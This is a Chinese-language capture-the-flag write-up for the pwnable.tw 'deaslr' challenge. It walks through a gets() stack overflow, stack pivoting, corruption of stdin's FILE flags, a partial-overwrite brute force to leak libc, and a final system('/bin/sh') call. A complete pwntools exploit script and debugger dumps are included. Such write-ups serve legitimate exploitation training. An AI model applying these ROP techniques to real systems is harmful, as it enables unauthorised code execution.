pwnable.tw deaslr writeup -- 复杂的 ROP

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
  4. 4. 脚本

考验攻击者的ROP能力,程序很依赖libc,靶机环境是 glibc-2.23 。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:deaslr.zip

安全防护

ex@Ex:~/test$ checksec deaslr
[*] '/home/ex/test/deaslr'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

溢出点

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h]

gets(buf);
return 0;
}

明显的栈溢出,由于没有泄露点,使得exploit变得异常复杂。

思路

修改stdin_flag,使得stdin可以输出内容,利用栈上的残余的地址信息爆破fputs,以获得gets.got地址,然后计算出libc基地址,拿shell。

First: 修改stdin_flag

先进行栈转移,使得栈变得可控,调试发现,调用gets函数时,会在栈中留下_IO_2_1_stdin_的地址,原本stdin_flag规定其没有写能力,但是我们可以利用gets函数修改stdin_flag,使其有写权限,这样就能泄露信息。

sh.sendline('a' * 0x10 + p64(stack_addr) + p64(pop_rdi_ret) + p64(stack_addr) + p64(elf.plt['gets']) + p64(leave_ret))

# pause()
layout1 = [
stack_addr + 0x400, # rbp
pop_rdi_ret,
stack_addr + 0x400,
elf.plt['gets'],
leave_ret,
]

sh.sendline(flat(layout1))

layout2 = [
0x6017c0, # rbp
pop_rdi_ret,
0x6017c8,
elf.plt['gets'],

pop_rdi_ret,
0x6017d8,
elf.plt['gets'],

leave_ret,
]

sh.sendline(flat(layout2))

sh.sendline(p64(pop_rdi_ret)[:7])

layout3 = [
elf.plt['gets'],
elf.symbols['_start'],

]

sh.sendline(flat(layout3))

sh.sendline(p32(0xfbad2083))

Second: 重新启动_start函数,使其在栈中留下了更多的地址,其中一个地址是0x6ee4e

调试结果如下:

pwndbg> x/24gx 0x601660
0x601660: 0x0000000000000000 0x0000000000000000
0x601670: 0x0000000000601701 0x00007ffaba661ce4
0x601680: 0x0000000000000000 0x0000000001fc00d8
0x601690: 0x0000000000000000 0x0000000000000000
0x6016a0: 0x0000000000000000 0x00007ffaba9b68e0
0x6016b0: 0x0000000000601700 0x0000000000000000
0x6016c0: 0x00007fffccfaa9e0 0x0000000000000000
0x6016d0: 0x0000000000000000 0x00007ffaba661e4e
0x6016e0: 0x0000000000000000 0x0000000000601710
0x6016f0: 0x0000000000400440 0x000000000040054f
0x601700: 0x6262626262626262 0x6262626262626262
0x601710: 0x0000000000601698 0x00000000004005c3
pwndbg> x/gx 0x00007ffaba661e4e
0x7ffaba661e4e <gets+206>: 0x48003558bb0d8b48
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/ex/test/deaslr
0x600000 0x601000 r--p 1000 0 /home/ex/test/deaslr
0x601000 0x602000 rw-p 1000 1000 /home/ex/test/deaslr
0x1fc0000 0x1fe2000 rw-p 22000 0 [heap]
0x7ffaba5f3000 0x7ffaba7b2000 r-xp 1bf000 0 /home/ex/test/bc.so.6
0x7ffaba7b2000 0x7ffaba9b2000 ---p 200000 1bf000 /home/ex/test/bc.so.6
0x7ffaba9b2000 0x7ffaba9b6000 r--p 4000 1bf000 /home/ex/test/bc.so.6
0x7ffaba9b6000 0x7ffaba9b8000 rw-p 2000 1c3000 /home/ex/test/bc.so.6
0x7ffaba9b8000 0x7ffaba9bc000 rw-p 4000 0
0x7ffaba9bc000 0x7ffaba9de000 r-xp 22000 0 /glibc/glibc-2.23/debug_x64/lib/ld-2.23.so
0x7ffababd9000 0x7ffababdd000 rw-p 4000 0
0x7ffababdd000 0x7ffababde000 r--p 1000 21000 /glibc/glibc-2.23/debug_x64/lib/ld-2.23.so
0x7ffababde000 0x7ffababdf000 rw-p 1000 22000 /glibc/glibc-2.23/debug_x64/lib/ld-2.23.so
0x7ffababdf000 0x7ffababe0000 rw-p 1000 0
0x7fffccf8a000 0x7fffccfac000 rw-p 22000 0 [stack]
0x7fffccfdd000 0x7fffccfe0000 r--p 3000 0 [vvar]
0x7fffccfe0000 0x7fffccfe2000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p/x 0x7ffaba661e4e-0x7ffaba5f3000
$1 = 0x6ee4e

由于gets存在null截断,所以我们只能爆破函数入口地址为0x6.0..的函数(点为任意值),最终找到了fputs函数(int fputs(const char *s, FILE *stream);),其地址为0x6E030,由于前面已经更改了_IO_2_1_stdin__flag,所以我们可以直接利用_IO_2_1_stdin_进行泄露。由于要爆破4位,所以成功几率是1/16

layout4 = [
0x601698, # rbp

[ret] * 64,

pop_rdi_ret,
0x601698,
elf.plt['gets'],

pop_rdi_ret,
0x6016b0,
elf.plt['gets'],

pop_rdi_ret,
0x6016e0,
elf.plt['gets'],

leave_ret,
]
# pause()

sh.sendline('b' * 0x10 + flat(layout4))


## layout 5
# 0x00000000004005c1 : pop rsi ; pop r15 ; ret
sh.sendline(p64(stack_addr + 0x400) + p64(0x00000000004005c1)[:7])
sh.sendline(p64(0) + p64(pop_rdi_ret) + p64(elf.got['gets']) + p64(ret) * 2 + p8(0x30))
sh.sendline(p64(pop_rdi_ret) + p64(stack_addr + 0x400) + p64(elf.plt['gets']) + p64(leave_ret))

libc_addr = u64(sh.recvn(6) + '\0\0') - libc.symbols['gets']
log.success('libc_addr: ' + hex(libc_addr))

注意,可能是pwntools的调试问题,或者并不是靶机环境的问题,在调用fputs时本地会失败,但是靶机却不会。

本题主要考点就构造ROP了,总共构造了6条ROP链,而且链与链之间还存在相互穿插,所以构造起来并非易事。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './deaslr'
# execve_file = './secret_of_my_heart.bak'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10402)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x400555
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

stack_addr = 0x601000 + 0x800
# 0x00000000004005c3 : pop rdi ; ret
pop_rdi_ret = 0x00000000004005c3
# 0x0000000000400554 : leave ; ret
leave_ret = 0x0000000000400554
# 0x00000000004003f9 : ret
ret = 0x00000000004003f9


# pause()
sh.sendline('a' * 0x10 + p64(stack_addr) + p64(pop_rdi_ret) + p64(stack_addr) + p64(elf.plt['gets']) + p64(leave_ret))

# pause()
layout1 = [
stack_addr + 0x400, # rbp
pop_rdi_ret,
stack_addr + 0x400,
elf.plt['gets'],
leave_ret,
]

sh.sendline(flat(layout1))

layout2 = [
0x6017c0, # rbp
pop_rdi_ret,
0x6017c8,
elf.plt['gets'],

pop_rdi_ret,
0x6017d8,
elf.plt['gets'],

leave_ret,
]

sh.sendline(flat(layout2))

sh.sendline(p64(pop_rdi_ret)[:7])

layout3 = [
elf.plt['gets'],
elf.symbols['_start'],

]

sh.sendline(flat(layout3))

sh.sendline(p32(0xfbad2083))

layout4 = [
0x601698, # rbp

[ret] * 64,

pop_rdi_ret,
0x601698,
elf.plt['gets'],

pop_rdi_ret,
0x6016b0,
elf.plt['gets'],

pop_rdi_ret,
0x6016e0,
elf.plt['gets'],

leave_ret,
]
# pause()

sh.sendline('b' * 0x10 + flat(layout4))


## layout 5
# 0x00000000004005c1 : pop rsi ; pop r15 ; ret
sh.sendline(p64(stack_addr + 0x400) + p64(0x00000000004005c1)[:7])
sh.sendline(p64(0) + p64(pop_rdi_ret) + p64(elf.got['gets']) + p64(ret) * 2 + p8(0x30))
sh.sendline(p64(pop_rdi_ret) + p64(stack_addr + 0x400) + p64(elf.plt['gets']) + p64(leave_ret))

libc_addr = u64(sh.recvn(6) + '\0\0') - libc.symbols['gets']
log.success('libc_addr: ' + hex(libc_addr))

layout6 = [
0,
pop_rdi_ret,
libc_addr + libc.search('/bin/sh\0').next(),
libc_addr + libc.symbols['system'],

libc_addr + libc.symbols['exit'],
]

sh.sendline(flat(layout6))

sh.interactive()
clear()